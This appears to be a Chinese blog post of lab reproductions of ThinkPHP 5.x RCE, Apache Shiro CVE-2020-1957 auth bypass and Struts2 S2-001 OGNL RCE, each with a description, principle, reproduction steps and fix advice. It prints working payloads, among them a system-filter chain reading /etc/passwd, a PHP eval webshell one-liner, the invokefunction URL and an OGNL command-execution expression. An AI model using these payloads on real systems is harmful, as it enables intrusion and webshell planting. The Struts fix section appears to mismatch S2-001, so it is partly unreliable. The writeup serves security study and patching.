一:ThinkPHP 5.0.23 远程代码执行漏洞
1:漏洞描述
Thinkphp5.0.23存在远程代码执行漏洞
2:漏洞原理
在版本5.0(<5.0.24)中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞
3:漏洞复现
- 漏洞位置:http://172.16.16.78:8080/index.php?s=captcha
- Payload:_method=__construt&
filter[]=system&method=get&server[REQUEST_METHOD]=系统命令 - 通过抓包,构建payload:_method=__construt&
filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd - 漏洞截图
- 写入一句话木马:echo
'<?php eval($php eval($_POST[666]);?>' > 666.php)
漏洞截图:
4:修复建议 1:升级ThinkPHP至安全版本
修复方法1.打开
Thinkphp/library/think/Request.php
搜索
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
改成:
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
保存,覆盖 测试无误 漏洞修复完成。
二:ThinkPHP-5-rce
漏洞描述
其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞
漏洞范围
http://192.168.116.134:8080/index.php
漏洞原理
构造闭环创建payload
http://192.168.116.134:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
漏洞复现


修复建议
使用拦截器进行对request的host进行了验证
头攻击检测
是否在白名单内
* @param host
* @return
三:Apache Shiro 认证绕过漏洞
1:漏洞描述
Apache shiro存在认证绕过漏洞,漏洞编号:CVE-2020-1957
2:漏洞原理
Apache Shiro1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。
anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,比如:/可以匹配/hello,但是匹配不到/hello/,因为通配符无法匹配路径。
假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。
3:漏洞复现
访问url

- :使用burp suite抓包,并访问admin,状态码为:302

- :访问/xxxx路径,状态码为:404

- :两个路径组合后:状态码为:404

- :当路径为/xxx/..;/admin/时,状态为200

- :绕过成功

4:修复建议
1:更新版本
2:尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。
四:Apache Struts2
S2-001 远程代码执行漏洞
漏洞描述
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。
例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
漏洞范围
http://192.168.116.134:8080/login.action登表单录
漏洞原理
提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞复现


修复建议
影响范围:Struts 2.5 – Struts 2.5.12 版本,据说还影响到 2.3.33 版本
修复方法:更新更新更新~~~升级Struts到2.5.13最新版本
临时修复:在不使用时删除StrutsREST插件,限制服务端扩展类型
在struts.xml配置文件中加入:
<constantname="struts.action.extension" value="xhtml,,json" />
1559

被折叠的 条评论
为什么被折叠?



